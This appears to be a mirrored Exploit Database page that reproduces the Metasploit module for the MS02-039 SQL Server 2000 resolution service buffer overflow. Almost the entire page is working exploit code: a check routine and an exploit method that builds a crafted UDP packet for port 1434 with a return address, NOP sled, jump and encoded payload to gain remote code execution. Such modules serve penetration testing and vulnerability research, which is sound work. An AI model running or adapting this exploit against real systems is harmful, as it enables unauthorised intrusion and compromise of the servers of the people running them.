Microsoft SQL Server – Resolution Overflow (MS02-039) (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2010-04-30
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16393/

• ##
  # $Id: ms02_039_slammer.rb 9179 2010-04-30 08:40:19Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::MSSQL
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Microsoft SQL Server Resolution Overflow',
  			'Description'=> %q{
  					This is an exploit for the SQL Server 2000 resolution
  				service buffer overflow. This overflow is triggered by
  				sending a udp packet to port 1434 which starts with 0x04 and
  				is followed by long string terminating with a colon and a
  				number. This module should work against any vulnerable SQL
  				Server 2000 or MSDE install (pre-SP3).
  
  			},
  			'Author' => [ 'hdm' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9179 $',
  			'References' =>
  				[
  					[ 'CVE', '2002-0649'],
  					[ 'OSVDB', '4578'],
  					[ 'BID', '5310'],
  					[ 'MSB', 'MS02-039'],
  
  				],
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'Space'=> 512,
  					'BadChars' => "\x00\x3a\x0a\x0d\x2f\x5c",
  					'StackAdjustment' => -3500,
  				},
  			'Targets'=>
  				[
  					[
  						'MSSQL 2000 / MSDE <= SP2',
  						{
  							'Platform' => 'win',
  							'Ret'=> 0x42b48774,
  						},
  					],
  				],
  			'Platform' => 'win',
  			'DisclosureDate' => 'Jul 24 2002',
  			'DefaultTarget' => 0))
  
  		register_options(
  			[
  				Opt::RPORT(1434)
  			], self.class)
  	end
  
  
  	def check
  		info = mssql_ping
  		if (info['ServerName'])
  			print_status("SQL Server Information:")
  			info.each_pair { |k,v|
  				print_status(" #{k + (" " * (15-k.length))} = #{v}")
  			}
  			return Exploit::CheckCode::Detected
  		end
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  
  		connect_udp
  		print_status(sprintf("Sending UDP packet with return address 0x%.8x", target.ret))
  		print_status("Execute 'net start sqlserveragent' once access is obtained");
  
  		# \x68:888 => push dword 0x3838383a
  		buf = "\x04" + rand_text_english(800, payload_badchars) + "\x68:888"
  
  		# Return to the stack pointer
  		buf[ 97, 4] = [target.ret].pack('V')
  
  		# Which lands right here
  		buf[101, 6] = make_nops(6)
  
  		# Jumps 8 bytes ahead
  		buf[107, 2] = "\xeb\x08"
  
  		# Write to thread storage space to avoid a crash
  		buf[109, 8] = [0x7ffde0cc, 0x7ffde0cc].pack('VV')
  
  		# And finally into the payload
  		buf[117,payload.encoded.length] = payload.encoded
  
  		udp_sock.put(buf)
  
  		disconnect_udp
  		handler
  	end
  
  end